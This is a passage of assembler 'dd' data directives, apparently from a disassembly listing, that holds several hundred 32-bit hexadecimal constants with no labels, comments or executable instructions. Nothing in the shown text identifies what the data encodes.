		dd 4B819ED4h, 0E94ACE22h, 0BD28602Eh, 0CA8223EDh, 51095C1Eh
		dd 991A0D51h, 0BCB8BBC0h, 3F0FB2DAh, 218A5F9Ch,	27E8F58Fh
		dd 0F480BB38h, 236D813Bh, 0CEBB1201h, 5B4EE5ACh, 0A30F84Bh
		dd 0AD7BBF8Fh, 0C4464731h, 742A12F1h, 0DA80C2B9h, 3CE0AFE0h
		dd 5318BA97h, 7BDD50B2h, 0D5FC9012h, 2AB508AAh,	54697E32h
		dd 426AA5C1h, 9627B7F5h, 20BBBC02h, 181A9728h, 5901465Ch
		dd 0FB8B50F8h, 9F3012Eh, 592711BDh, 2078257Eh, 874B7F35h
		dd 9560B68Ch, 0BDFAF54Ch, 0D3BF1762h, 0FE629261h, 76E24093h
		dd 0BF0002B7h, 384D287Ah, 7164971Ch, 7E840999h,	8E71A166h
		dd 51BD0383h, 8E736413h, 0BB83C5F9h, 7161BE49h,	324BBF7Ch
		dd 0AF54FCCEh, 0CEC92140h, 0FB510252h, 0DB57E85Ah, 4D274C5Ch
		dd 0D73FC08Fh, 41051276h, 0BCE381FDh, 0D42BAB09h, 71A04022h
		dd 2500C4EDh, 7E87906Ch, 979B5E07h, 95297E00h, 1821D79h
		dd 0D580E7C9h, 0EB7D352Eh, 0EE0E056Eh, 0C702ABE8h, 7C5C3577h
		dd 0F69FACh, 0CC9A6FBBh, 0EF6614F5h, 4A31B734h,	208005B8h
		dd 3624B688h, 0BD530900h, 45FCA02Ch, 0F0075BE0h, 440112Ah
		dd 0A0B5955Bh, 18821691h, 140253Bh, 82820D59h, 0FC27F9CCh
		dd 46F3E9E1h, 659950h, 0BBE27CC8h, 4F225A68h, 853F1A97h
		dd 0DA40E546h, 0A539BB96h, 0C15C4F49h, 0EEF70B1Ch, 1DC4DFEh
		dd 0E5D8CE2Fh, 0E11278F2h, 0DF95458Bh, 35E992ABh, 97A80CC4h
		dd 0E0DA24E7h, 3A972B3Ch, 0A813B7A5h, 0B5C901D0h, 0AD340D87h
		dd 0C541C660h, 0F8114E5h, 97042DC5h, 0F08960Dh,	5FD89495h
		dd 0F8B723h, 4D860154h,	75683D6h, 0DD87855Ah, 0FACAA0A4h
		dd 0CF258E44h, 0FE296196h, 4B9650D6h, 0C89EDB22h, 364CC019h
		dd 0D254AC1h, 0B0C0C639h, 0E3A96DEFh, 0EC252967h, 7C410283h
		dd 0C68246A5h, 0D02B8CFDh, 0AD1897FBh, 4D21BD33h, 535FE416h
		dd 23108830h, 12F21947h, 2EDA4E05h, 0C6367D29h,	0CEADEBB0h
		dd 9C3AE48h, 70C7874Fh,	60204AF9h, 3B71A6DEh, 284E6C0Bh
		dd 0C9695EC1h, 94AA9800h, 5B4B7571h, 0EE18A85h,	3A873D2Bh
		dd 0E5808BDAh, 58A12009h, 270C4F0Eh, 0A0B2D281h, 7484DF00h
		dd 665657BDh, 8E230900h, 0E9F34B2Ch, 0C27EE7ACh, 3A818A07h
		dd 7B4AF780h, 242E2682h, 0B817ADC1h, 27130992h,	45FB76Eh
		dd 0B952E1E2h, 8C16AC31h, 4558F2E6h, 561009D9h,	2B0FE90h
		dd 310F73B7h, 5BB69B7Fh, 18909604h, 10769BB5h, 6960B324h
		dd 0BF6840Ch, 102B252h,	0FBEEFFAEh, 2A935F79h, 0E16AF690h
		dd 4170EBC5h, 7D2651D5h, 2269822Eh, 0D6EAF632h,	909CE209h
		dd 150A8297h, 0A0AC0A08h, 53D910B6h, 2F0CED0Ah,	24F77D5Ch
		dd 0B1AEA711h, 2E017164h, 76FCD825h, 905A2B02h,	526970B3h
		dd 3777DEDEh, 167312C1h, 92F4E517h, 44BC6044h, 0F2D1420h
		dd 93B4689h, 619CB5C8h,	3036837Ch, 8CD94B0Ah, 0B491E9A1h
		dd 0E221150Eh, 77231FF3h, 0AF2BFF84h, 0FFF81470h, 49C1B0D1h
		dd 0CA4A54ADh, 7D732234h, 24293331h, 920402ADh,	90A3EDF3h
		dd 4BB52CCh, 4B8A1EADh,	8081A801h, 0EF90E48Eh, 0CF470016h
		dd 0BAAAEB53h, 0BF0295CCh, 0FA8BD197h, 6160425Fh, 8150AD2h
		dd 82A80462h, 90D03A12h, 5680D49Bh, 0F60FEAC1h,	419D2309h
		dd 0A55B732Dh, 21E9D540h, 5E8B0C4Bh, 0A53E310h,	84A19D2Bh
		dd 0D1295A4h, 26B37452h, 930EFC24h, 1E885DAh, 0D0630A1Ch
		dd 0F9642B7Ah, 2501CD48h, 89DDC4Ch, 182DA45h, 570EB19Dh
		dd 0C6E4463Bh, 6A7DCDD5h, 0EE79AD9Bh, 0A8C3C7C9h, 2C5B2631h
		dd 0B82E977h, 2F4F2E99h, 56536E42h, 21FAC6F6h, 49BD2313h
		dd 0F9A00752h, 0DB2700BBh
		dd 96BF70E6h, 6D143520h, 12D671E4h, 5FB81301h, 2992D7C8h
		dd 0A09210BCh, 9AA151F1h, 5FB79245h, 0DC46D844h, 1C92F7ACh
		dd 25A56AF9h, 0CAC6880Fh, 8058A9BDh, 5952905h, 79C49511h
		dd 0F26440B7h, 0BCCE1280h, 0BDFDB461h, 87D3A54Ah, 29101AC8h
		dd 6D82491Ch, 0E557E9D9h, 0EAD0008Eh, 84A3D108h, 9F1E6801h
		dd 334DE5F5h, 0A03DE960h, 0FF8DBD21h, 8089882Bh, 0C99EF35h
		dd 1B8962C1h, 108B8C2Bh, 28E168A8h, 0CF3DE980h,	9342BF17h
		dd 465507FAh, 68506208h, 5F040D65h, 8D4FFAACh, 0F57A42B7h
		dd 0A5EA9BAFh, 0F968251Dh, 5AA49589h, 80E2754Ah, 16DA10C4h
		dd 0C885EBDBh, 0FDB5882Bh, 1C2D1A90h, 25B67AE4h, 0A37103A1h
		dd 30D9BD41h, 2B09F511h, 61E40726h, 60F90CFCh, 0D854DA61h
		dd 0D24200DCh, 0B2637ECBh, 0BB01564Eh, 526C72B6h, 0E6DC02Bh
		dd 66BFD4B8h, 326495DFh, 2DE6FC4Ah, 807CDAD2h, 5607C66h
		dd 0A2D75064h, 0F81449F5h, 2465DDEDh, 79820224h, 1DB700BEh
		dd 4AC47CAAh, 94CFB202h, 5E9663C2h, 97FC405Fh, 0C002D544h
		dd 0CBAC557Bh, 464F940h, 0B7880D5Bh, 58940324h,	0AB22F9C8h
		dd 3CD5B077h, 89140196h, 9EFE0E23h, 0EF752B6Bh,	7CA0AAA6h
		dd 0AC7FD17Bh, 0E805DB04h, 0F3AC02C2h, 0F9C150C9h, 2B5FD16Ch
		dd 9A4BCC2Fh, 32228E65h, 986C5C4h, 0D513A07Dh, 0C661811Bh
		dd 0DE8271B5h, 0C1545263h, 96540145h, 7CA2CBA8h, 97D882FBh
		dd 96F21DA3h, 59DF02B2h, 0E5981F39h, 0B0002520h, 32A710F5h
		dd 7B420C7Ch, 98B5015Dh, 78578F9Ah, 1BDDC89h, 2B33B881h
		dd 0E6E3954Ah, 0F935F00Eh, 0AFE91315h, 24631330h, 8E8A829h
		dd 7920ED85h, 219D0804h, 0CE6017Dh, 0FA37BD27h,	0A4086700h
		dd 5CF01C83h, 0FFC0EE8Dh, 21D3A6EBh, 118ABF4Bh,	6D959C22h
		dd 734DC064h, 502EAD6Dh, 60848AD6h, 26B884B3h, 443BC74Ah
		dd 4B28B898h, 3980339Bh, 0A7C270CDh, 0F91DD412h, 30C56B04h
		dd 134CB412h, 0D448BE86h, 80C4663Fh, 188F95DCh,	95FB8B22h
		dd 78529919h, 0CF81C079h, 981D4D0Dh, 41BA9537h,	7751D9D3h
		dd 1DCDD289h, 50692D44h, 189EF209h, 212B05BDh, 7B7BEF81h
		dd 44F7EF9Dh, 0F95F814Fh, 6BC40423h, 4A9DAC1h, 0F77D6800h
		dd 0BF653701h, 2617A4E6h, 8236032Eh, 70E728F4h,	7DFD79C3h
		dd 1A9D234Ah, 844E9A3Ah, 65F8D86Ah, 0AC62D080h,	1A9753AEh
		dd 0FA870130h, 0F454E3E9h, 0EA17356Bh, 0A7B21221h, 0ACB149FFh
		dd 2B70E73Fh, 0CD4F4A7Fh, 0B8DB2BFBh, 0D3E86680h, 0A004D823h
		dd 0BCC825A8h, 870620BAh, 5A01E1ABh, 0A642B736h, 407EBD33h
		dd 51575BD8h, 28E3B501h, 4B5F3DF3h, 1266138Ch, 0E7DE5ABFh
		dd 31E91011h, 0B8FBED92h, 4F9A01D8h, 0B393273Eh, 0EE6B2F40h
		dd 42831D23h, 0F7090161h, 0E507571h, 79CDC16Eh,	39122EF8h
		dd 0F9E074E6h, 0AE1D97D6h, 5B4C1584h, 0BF75887h, 6096A1C5h
		dd 0AD0EDFC4h, 0AC7CD2h, 3B42CA7Eh, 851A0147h, 506125B0h
		dd 0B74E60B3h, 368D9B4Bh, 4041EC20h, 0FBF06827h, 0FE879225h
		dd 0B8F8E403h, 8F90413h, 6EAE788Ch, 91047736h, 3B5BD23h
		dd 0BBC030B9h, 754C180Ah, 9062E0B5h, 13E6F451h,	0BC25360Ch
		dd 2DB5A90h, 2A857F80h,	1024B225h, 3D49FB7Ah, 0F92B847Bh
		dd 106FBC61h, 5F2507E9h, 0B8A4FD65h, 0F9A44E02h, 0F98A622Fh
		dd 0AE3A44E9h, 0D7E14470h, 0D51800B8h, 0CABD797Ch, 9C1F1CCFh
		dd 2205B18Ah, 0E58391DDh, 28DE8438h, 0AE654AC4h, 6BA5233Bh
		dd 8E43039Bh, 90A0D40Ch, 0BC98DE54h, 5D00DC71h,	0AF3C5C47h
		dd 267AD82Dh, 60F90CBBh, 363580A0h, 1D8AB84Bh, 896B4830h
		dd 204B759Dh, 3535E18Eh, 2BC34B27h, 0EDADCCC5h,	0AD34404Eh
		dd 0F478E831h, 3B2CDE09h, 35B58699h, 8BA95A3h, 148420B5h
		dd 0E6836026h, 3012FC8Dh, 77F3444h, 6A6B4900h, 0AF4A1B42h
		dd 610527CBh, 18957D50h, 4AEF80B3h, 6AF6CD01h, 85D15E37h
		dd 0AF042571h, 0DCD41E01h, 0EC6DE950h, 0C072451Dh, 0F619BDEEh
		dd 0E7253B22h, 0DC10C21Ch, 1F271440h, 882CD70Ah, 235C69AFh
		dd 0F17F4FDEh, 665BA529h, 9418D630h, 9B6BABA6h,	96021723h
		dd 627BE5B3h, 6030561Dh, 32059509h, 0A7A16595h,	0ED033835h
		dd 0A99C23B7h, 0D83AD6ADh, 5448D9Ah, 7B4709BFh,	41704F90h
		dd 0B8F1094Eh, 0D58D992Ah, 0AAC0421h, 7D14FEDFh, 0B8225715h
		dd 0EA8C0F2Dh, 94B7054h, 1DC5BD29h, 81028214h, 0C6385AC7h
		dd 7AB57D1Ch, 5811591h,	7096F90Fh, 4E0F1A2Fh, 1993B750h
		dd 282AC5C0h, 0B31256C0h, 39B35FFEh, 0CBEB8101h, 2B26623Ch
		dd 0D76F0628h, 0E33BE671h, 0C790A7F9h, 5E9B6B68h, 96398023h
		dd 7C915756h, 95126280h, 3697C65h, 59132C76h, 0D08E5B55h
		dd 0CD96072Dh, 6E11C239h, 0EDC0F140h, 72981D14h, 31A1108Ch
		dd 5241E640h, 3B9F922Ch, 0A55F6926h, 58883746h,	0EA009A05h
		dd 0C0419F8Ah, 1954F37h, 21DB8130h, 2A238D0Eh, 0BFA754CAh
		dd 0FD647B81h, 0BC092FE0h, 8BF8FD7h, 0B3611224h, 556E4B4Bh
		dd 34097105h, 7993C7C9h, 20F5AA82h, 34716D56h, 0C0159E3Ah
		dd 5F4C6E54h, 0DD8A25BAh, 659F8066h, 45422541h,	5A4254h
		dd 0ACDE8184h, 0D68B02F7h, 0F45BE961h, 0FE1BE95Dh, 0DB6FC1EDh
		dd 7E728C42h, 9895DEh, 8600BB90h, 50546C74h, 7BFC8A57h
		dd 0F60145Bh, 0E88AA683h, 0AE790025h, 5C2BF2B6h, 0D8F4E000h
		dd 3103A6DBh, 9AA20E66h, 79AB46C1h, 9DB54802h, 278BA6Ah
		dd 5D695B8Dh, 8F0FAF22h, 1AC4057Ch, 0A9854018h,	126532E1h
		dd 17BF62ADh, 0E290C5D2h, 0FB9C07F8h, 0A3105CE7h, 36C22E1h
		dd 8844EC07h, 0CCF5E60Ah, 1A600FEBh, 6B3C3864h,	9E5100DFh
		dd 0D7F7AD4h, 63045A1Ch, 905FF8AEh, 0E80F4AFAh,	0C9CE011Eh
		dd 2040360Dh, 16FE4975h, 0DF27AA01h, 58DC79FDh,	4B4E8644h
		dd 1946E147h, 88FD0969h, 0B235C87Eh, 50F4E327h,	5BF6348Ch
		dd 9E6EFE70h, 0F98B8D09h, 0B146E4CFh, 0F7932A86h, 2C7A005Ch
		dd 2A5EB497h, 2503F2E0h, 296AA08Ah, 0FC4C04Ch, 21F99180h
		dd 0D3F7808Fh, 0A37E0B20h, 60984B00h, 8BBA0341h, 627A03B9h
		dd 5BB7DC3Eh, 0ED756A8Ah, 0ACCFE186h, 0C6B02AE5h, 3AD58220h
		dd 5024DB6Ch, 4E95BCE2h, 5A179BE1h, 2B62F45Ch, 401F7C9Dh
		dd 9ED34CDh, 0AE02B87Fh, 0FF7212C1h, 701B7BD1h,	0E7991FB6h
		dd 284FB480h, 403A9C8h,	8DDC7CE2h, 0A4AAAC5Ch, 0BD8FD4EFh
		dd 1FC7B862h, 5C8029B6h, 45F7C2C8h, 460026Ah, 908122DDh
		dd 0A305122Fh, 8014C8CCh, 73AA7A31h, 520069C0h,	99264FF2h
		dd 1881C7Bh, 9D666292h,	2A5B33D4h, 98907088h, 2B2C81E2h
		dd 5863A23Bh, 0BA9AA542h, 719A72C0h, 1309EEC7h,	0EA860F63h
		dd 22EEF899h, 0E92D2241h, 0C2C25980h, 0F80562B7h, 1B8E09EFh
		dd 76A7CF5Bh, 0EB00DCC6h, 960B373h, 0BE1525B5h,	5181C072h
		dd 0B751948h, 1ECEDD00h, 3191F8E5h, 815D4A9Dh, 7A615997h
		dd 0BB563147h, 193EB5D0h, 985BF75Fh, 0F5A390C0h, 0EA045501h
		dd 2DC780DBh, 9E5A30B9h, 9CD4C0B2h, 2B9B7C2h, 8789DF81h
		dd 94D528F0h, 8FB59DB1h, 20566D0Fh, 28034F95h, 0BF2A02BCh
		dd 159B2143h, 89616D5Ch, 90C6D8Dh, 32219526h, 0DF9B541h
		dd 73BB6600h, 3598874Bh, 3001410Bh, 0B050D9E5h,	3B01C7D0h
		dd 0E64C9E88h, 0C26AF570h, 44149D8Fh, 0F30581EDh, 27D578B2h
		dd 0D7934FABh, 1F568B49h, 0E90DF625h, 8E62CFD4h, 744BD84Fh
		dd 80FE4BC1h, 7D852921h
		dd 0F75B229Dh, 12E5D0E2h, 4C82BEEh, 1CB557h, 0B760D18Bh
		dd 0E984A071h, 7C61811Dh, 0BD238301h, 8BBB3235h, 81002E58h
		dd 2599B1DBh, 19C24241h, 9D5D105Dh, 0C14C3838h,	1E527D1Ah
		dd 1D61F168h, 2B221997h, 741210Ch, 9D1887F0h, 0FD8F1AB8h
		dd 26DD291Eh, 0F40033A8h, 0A6FF3692h, 905F603Fh, 294350D6h
		dd 98719DDEh, 279162B1h, 1128F32Fh, 69482C84h, 0A5FE4D22h
		dd 23FE1BA0h, 0AC539D4Ah, 0D5FE3F1Ah, 2A7C31B0h, 5816B625h
		dd 0EDC25CAh, 232746CCh, 0D0DC5BE6h, 6A5A9716h,	8A1286B3h
		dd 0FD6F00DCh, 0A89FDB4Fh, 12124298h, 4AE3B9F1h, 0BBD1D466h
		dd 1F9231FAh, 27936B3h,	2B99F13Bh, 38A66610h, 5CDE41B9h
		dd 0B01DC09h, 0D6D8094Dh, 5DC2B860h, 0FD9F313Dh, 0FA50C1C1h
		dd 7E209FB2h, 693A97F9h, 4DCE65Eh, 0C1493D50h, 0A220FF9Bh
		dd 955D69h, 0DA1BF246h,	0F54F1C7h, 0A5448A4Eh, 9FB85FF5h
		dd 918531F0h, 9092295Fh, 40385CF8h, 19B4B960h, 610E9512h
		dd 19B228E6h, 3DC8AC31h, 0CFA8048Ah, 0F2558D09h, 5C257FC4h
		dd 0AD225B6Eh, 2800BAB5h, 1CE8E9B4h, 89B60067h,	0FBBF022Dh
		dd 0A2471E3h, 0B10BA33h, 0D358CB4Ah, 1F02216Bh,	0B531845Ah
		dd 6D277354h, 39B9E0CBh, 73489D3Fh, 4AD648F4h, 4C2250CEh
		dd 81025BA6h, 4D32EAE3h, 0D6145C5Ch, 27171546h,	9C30C038h
		dd 0E14DFF21h, 30172D9Dh, 6679F2h, 9DF7E8FAh, 43E2C83Bh
		dd 0C599EA25h, 5440820h, 0B1E427h, 0AEEC11C4h, 9FFE7193h
		dd 0D0809502h, 41F161D2h, 419279EFh, 8C34E25Fh,	4BB74F38h
		dd 10098AC0h, 602C04F3h, 561A0C98h, 64FFDBEh, 0B69712ADh
		dd 81EBA40Fh, 2EAF0744h, 66A00812h, 0D29F4A0Dh,	911FE5E4h
		dd 88808615h, 35872DB4h, 1D59505Bh, 0E5007818h,	0EBF3652h
		dd 4A3ECA62h, 81F7CDF4h, 905CAA6Ah, 326A5760h, 36665FB0h
		dd 666E8E00h, 0DED94891h, 5720CCCBh, 50256124h,	136DE460h
		dd 0EFA3AD7Eh, 78143830h, 516C02D4h, 941F4E0Dh,	61CCC077h
		dd 8E0F1A90h, 0B8613B08h, 12BE1402h, 2977AC8h, 0DAD2CB56h
		dd 12A5DC68h, 9860FA1Ah, 0A21F03FFh, 2FC6A7h, 0E50CF554h
		dd 505F7D3Eh, 1E0964B5h, 40476110h, 929D6CC0h, 85007365h
		dd 82030986h, 18BC13E1h, 8D8B1667h, 64A98F0Fh, 3F32EFEh
		dd 0F614B05Bh, 8BDB585Bh, 752C8080h, 230488A3h,	629F15BFh
		dd 25036EB2h, 0A87921C5h, 0ED976BC8h, 0D8D9DA00h, 0F4057006h
		dd 49FD126Fh, 13D5E081h, 7F3C5B81h, 49D60BD3h, 8FFBF142h
		dd 391B5A7h, 0D02ADD7h,	71BF4FF9h, 12DB39F7h, 6E045160h
		dd 580E1D39h, 8B55D0E9h, 0D5C962DAh, 11834C37h,	9D8BF5DAh
		dd 0B84EF1ECh, 8E8AA068h, 5C3D0075h, 12EC1B2h, 240398Dh
		dd 6BE92A61h, 5595F8DFh, 372B8619h, 0B8FB64B6h,	4D9E5E97h
		dd 60C899C0h, 0B27A291h, 896609F0h, 0E890541Ch,	8600D62Fh
		dd 51028955h, 95D977CBh, 8D0AE2FBh, 0F896EC6Dh,	0A6D705B9h
		dd 0BD84A0DAh, 181905A7h, 0BF9D27Ch, 0FE937DE2h, 807AF89Ch
		dd 8AD3014Bh, 6D9800EEh, 243DCD34h, 0D02650B7h,	57497682h
		dd 0B00D03Dh, 0ECF8CA4Ch, 18235EC7h, 800F8957h,	0EB7D119Dh
		dd 40D1D289h, 7C8DC770h, 6AC49C60h, 21FFAA5h, 96F98B2Ah
		dd 0A2645350h, 0A49A5FEAh, 195DCF9h, 0EFB22E4Ah, 1A96BD6h
		dd 0FF6967E5h, 0E69CAE33h, 604F200Dh, 0FAB6CC20h, 357100D8h
		dd 795140EDh, 6B99B5F8h, 6D2C00BFh, 8E479FE0h, 12010328h
		dd 42FC67B2h, 0BAFDA6E0h, 6180C513h, 1A309C2Dh,	508D0BB7h
		dd 40C6880Fh, 8E83DE4Ch, 0C2B83651h, 30E9E1D2h,	0C80FBFB8h
		dd 533A1E52h, 0FE9C8C24h, 1292B0FBh, 0B8337985h, 886BB53Eh
		dd 0C512B200h, 50517968h, 0BF0FEA05h, 0D75390DEh, 646A88h
		dd 66F2D389h, 8834426Dh, 519F9A13h, 0D131930Bh,	0F7EDA031h
		dd 0BF033A68h, 1CF39028h, 0A360262Ch, 0B4832EC8h, 98EE78DEh
		dd 0F05283F2h, 0D81C0BABh, 33496158h, 10C5368Bh, 0F9E52181h
		dd 4C5A80Eh, 43C04D20h,	1DBBB61h, 0D780CC81h, 6B8F2B2Bh
		dd 80C2DA5Ah, 0E3F4B9FDh, 897A0556h, 0B86DDA19h, 1C977126h
		dd 4184EB91h, 991EE9F9h, 603A2E3Bh, 319C06E5h, 812DE6CFh
		dd 6223F924h, 12A5585h,	862D790Ah, 97044278h, 1600FABDh
		dd 719D8929h, 3496971Ah, 40846DB7h, 3543A3F6h, 17F3F75Eh
		dd 29832E59h, 712631BDh, 0C625B080h, 2B62BD3Eh,	0BD2F9556h
		dd 0B53980FDh, 0BD3660F7h, 0D252298h, 0AD227320h, 4D007CB7h
		dd 0B3605003h, 0B9E8E670h, 0D9EB072Dh, 3E2CB02Fh, 8F00E166h
		dd 628176B4h, 0D261605Ah, 2B43E102h, 6A2E53D9h,	1A23EDh
		dd 89DCD85Fh, 641641DBh, 28AB8D0Fh, 0F200B030h,	25BADD55h
		dd 0A80AC2h, 5CD6DC4Fh,	6CCD7D3Dh, 0FD5A9A97h, 0BC0E6704h
		dd 0E5EDB55Ah, 632513A8h, 4CB11031h, 4B709B8h, 62790DD2h
		dd 0E6258BA8h, 9F60E634h, 0A1C0FB4Dh, 579A50h, 27F3815Dh
		dd 89086A0Dh, 2DB5BD13h, 0FDB47EACh, 109A8B3h, 90A9E7FEh
		dd 7E572C3Ah, 0D853C8h,	5D1F0DA8h, 0DCCB883Bh, 1D41B202h
		dd 0C06A9B44h, 0B4AD413h, 0C2834310h, 2DDE7B7Ch, 919A768Eh
		dd 412345Eh, 0B65EBFF2h, 0C067E015h, 0F8F702DDh, 0B34FC513h
		dd 0DF5CAC62h, 40BFFC69h, 7CE849B2h, 0ED4821Fh,	0E7F37212h
		dd 0EDF01756h, 0F2D1D01h, 8B951889h, 99E57B9Dh,	99F64C52h
		dd 0C2720D5Fh, 0FC2E0FCh, 0A65D9C81h, 9EC8EAC7h, 9D01C596h
		dd 0C021E48Dh, 727DBFEh, 0BDE7C043h, 2A114555h,	19C866DAh
		dd 0CFAD92C0h, 9BB627B9h, 8982F0F9h, 0B272595h,	9A976646h
		dd 4BD9C630h, 0C0E9B307h, 8E5F40FBh, 0D5F22530h, 203DE870h
		dd 498A4E92h, 0ED9C2522h, 3164090Dh, 533552F5h,	6D12F878h
		dd 0DCF617h, 0A0658103h, 571E0FFh, 0EF273A2Dh, 0B2906461h
		dd 124246h, 0C1A67907h,	5860C5DAh, 0BB3B95F4h, 80546781h
		dd 415F32E7h, 3A1EE5BAh, 0D69B1C74h, 60DB29C2h,	25D9FD40h
		dd 4E78180h, 6648C87Bh,	0AC31E961h, 45098C15h, 0D3F88A97h
		dd 0B3B5AF24h, 86993B04h, 15909EBh, 3FC420D1h, 1D233Fh
		dd 47A7CBA1h, 657E1C46h, 74888027h, 26E625D6h, 1FF1CED2h
		dd 767CF63Eh, 591F292Dh, 2B7E0F4h, 60B5A4E9h, 9FC18BD1h
		dd 0D5703FFBh, 619102B1h, 0FC297AF6h, 59003766h, 85F4CBE0h
		dd 4AFFA1B1h, 5633E73Bh, 7C1CB0C9h, 66F71F6h, 0D98B904Eh
		dd 66EC0650h, 55F5BF00h, 25E68160h, 7BA43D33h, 0D35AB889h
		dd 0B7759F42h, 529E8014h, 7DB03D41h, 0C5BD0216h, 86808098h
		dd 9C74095h, 3173A007h,	1FE525B5h, 73BD89A1h, 0B200FF0Ah
		dd 9CBBA3FBh, 9D409926h, 18FB4E09h, 3E1870h, 0F566CA3Ah
		dd 144EE076h, 9060902Dh, 0BD406h, 0C44A2EF2h, 0A8358A88h
		dd 518504B6h, 140009E8h, 782CD5C8h, 0B62B003Ch,	0B15F5A35h
		dd 904B6134h, 0F200E46Eh, 550DAEDEh, 0FD4A374Eh, 4077F88h
		dd 8A8BBDC0h, 0BD80FD6Ah, 489A5369h, 5E719653h,	1527DF2Ch
		dd 57AB1045h, 0A388E58h, 92F1FD27h, 753109F7h, 0D3A718D3h
		dd 0BA885312h, 514ED14Bh, 78C76C34h, 0DC10F6A9h, 151E3E12h
		dd 0AF8BFEF2h, 0F6EC7Ch, 2DBC6117h, 19BD0B97h, 4E6A1040h
		dd 8BFBDB02h, 72360930h, 0A3505E68h, 14BF0275h,	0F673C5DCh
		dd 0AAFC275Ah, 72B516DCh, 7D6FFCF9h, 0FD721383h, 0D11AA20Eh
		dd 0BD6AC89h, 0B1E86448h, 1B6D2182h, 0D7A8E902h, 0C720421Ch
		dd 1019F73h, 9883BDE0h
		dd 619F353Ah, 0ED310BBBh, 9E7E6F6Ch, 0A5217969h, 102F6F56h
		dd 0E6F82DDh, 3DD11A7Bh, 0B78D9900h, 0D04DEC3h,	5FF88B85h
		dd 20BE08C4h, 0AE1BE6B4h, 0D9338000h, 2612AD67h, 0B6A00BA6h
		dd 0CC859C0Ch, 66D5C05Eh, 535C92BEh, 0FA9D76D9h, 0B390FE63h
		dd 16E7782Ch, 0C1620F02h, 57276FFEh, 59BD46B8h,	0BBC42142h
		dd 51BAC258h, 0DB213AD7h, 4ECF5084h, 0F5BC4905h, 6EF0CA84h
		dd 0C7FC50FFh, 0A7422EE3h, 2EF10948h, 27DFBDF7h, 0ECA51AFCh
		dd 3035450Bh, 1E40F926h, 8DF8C2B0h, 0E6032F0Dh,	1D201070h
		dd 71E41326h, 0A0150DA4h, 4AD1BD20h, 593DF233h,	84298912h
		dd 60BE2D47h, 0BF7A149Fh, 62EA2200h, 0B44C9D8Eh, 0F6BF90FDh
		dd 7689580Fh, 5F5B5381h, 5BB33EBAh, 0D9C78C4Fh,	2E611441h
		dd 498A043Ah, 33F1522Ch, 0BCC9C42Ah, 0DF800230h, 81C82B15h
		dd 0AAA3EBAFh, 6C20D1FDh, 0A9034A1Dh, 8C0F8538h, 0D780B420h
		dd 2089B865h, 2B123175h, 8481C9BDh, 133A5B50h, 38E22Fh
		dd 0C802F639h, 0E7C7F23h, 0D906A34Bh, 7ED11DA0h, 0AC251829h
		dd 6DB001FCh, 45B25B6Fh, 0F9E3F8D8h, 4474158Ah,	0E9440B64h
		dd 109BF258h, 0B85A108Dh, 95D0D881h, 24319D14h,	80BF133Dh
		dd 0FC7DFACAh, 0FE1AA1A5h, 0E4728D7Eh, 0A9008A44h, 7E0D017Dh
		dd 2153E4Dh, 764FC208h,	0B1FE80BAh, 60148721h, 1391188Eh
		dd 0BA65B58Dh, 98614E47h, 0F04E0F35h, 0EFA2FEE7h, 90BCEBC6h
		dd 0A91A7D49h, 0FD459D06h, 12BE64D2h, 4C3AF337h, 336D0393h
		dd 850763B9h, 766FEBh, 6CE7CB61h, 1944535Ah, 66291601h
		dd 0FCBC481Bh, 0FB6C7897h, 72297707h, 0B1552539h, 7DC2BADBh
		dd 0CF94B83Dh, 8E1F01A4h, 0B6B44FF0h, 0A8C4203Ah, 0FC002594h
		dd 6BA53B98h, 131053A6h, 0A39A70F5h, 2DBBC100h,	0F3DA255Fh
		dd 25D7228h, 80D1F999h,	80EAEEB5h, 951D4ECBh, 0A56FBB23h
		dd 7700A33Ah, 0C0167EB4h, 84FC5F2h, 6ABEDA75h, 5E66327Ch
		dd 76CBE223h, 3A784938h, 221CC97h, 9B408D7h, 17D7FDB1h
		dd 60166439h, 90E73112h, 0A4DE4D5Bh, 0ADC30492h, 0E2F8BC1Eh
		dd 97F2A61h, 31390895h,	2541E931h, 0FE302EC8h, 5BFFD88Bh
		dd 1EB6EE1h, 0CEF4BE5Dh, 242B8997h, 3F3B293h, 6C3446AFh
		dd 4C6000B1h, 0E834E29h, 5002A51Eh, 44D2059Eh, 968CF726h
		dd 149D5BCFh, 4D0270Dh,	6541DEEFh, 283A0311h, 6F9FC011h
		dd 203B67D9h, 924C5302h, 28011E17h, 0CA4BBBB8h,	16562236h
		dd 1D605DB3h, 0A60D131Bh, 0F56A4F34h, 15DC524h,	8081A9BFh
		dd 546F2BE1h, 8FD64E1Ch, 40EBE472h, 4139D41h, 0CE00D6A2h
		dd 430F7D37h, 0C22D3C41h, 8F10027Bh, 0C5C4553Fh, 0C487D170h
		dd 7ACD6115h, 9A4AF378h, 0C018C8F5h, 135AAC4Eh,	668C2F4Eh
		dd 57D1AA50h, 0C6DE3826h, 3682DB1Ah, 59D8268h, 0CD68002Dh
		dd 0A9303F7Fh, 5FF93652h, 3238C181h, 3A56DF84h,	0AEE486F6h
		dd 5EFDC261h, 0A8DF352Ah, 5CA425D1h, 5020F659h,	27E200Ch
		dd 15C78102h, 402AF4EAh, 0B5223818h, 18640DCDh,	13564A60h
		dd 0FECDAB27h, 7C7069F5h, 0F6FBBEh, 0D816C6F0h,	0BB9ECE5Dh
		dd 1775A03Eh, 0FA65890Fh, 0F07E24FAh, 2D5F49E3h, 13945156h
		dd 0E1C512EFh, 3DB63A94h, 4C9FDFF0h, 3109BE76h,	52B52960h
		dd 0C7615E18h, 4D5CAB33h, 0FDC4EBh, 523554C1h, 0A2596626h
		dd 551BC305h, 29EDBECCh, 0D11D89C6h, 0FC8AE8C4h, 9EEE8294h
		dd 500CC062h, 9DFA61Fh,	9169F162h, 460B88FEh, 0C002ED04h
		dd 2ACD7B98h, 4D7DBD01h, 830F183Bh, 0EAE6242Ah,	7111E61h
		dd 52509600h, 1361BB04h, 82B85D5Eh, 0F94FBF00h,	0F78B2826h
		dd 58710997h, 9D8A7C97h, 834EE6E4h, 417EDAF3h, 960481FDh
		dd 279D8D29h, 0EE9B742Fh, 0F151A04h, 4311E906h,	71FAD900h
		dd 9C64EC27h, 8DD33D32h, 6C96901h, 2FAF9117h, 1BF672Ch
		dd 4ADBFECCh, 2F69B350h, 0E8A06159h, 0D55B2E40h, 0F73A03DDh
		dd 1FF1E07Fh, 0ED5FB5E8h, 0B4BCD209h, 209EF36Dh, 628B6005h
		dd 1EBE69B5h, 4007F19Fh, 0E006C88Fh, 8E78FE02h,	7D5FD9FBh
		dd 6BF85E41h, 4AA1BA8Ah, 0CECA7A90h, 4BBEB05Ah,	0B79F5B7Fh
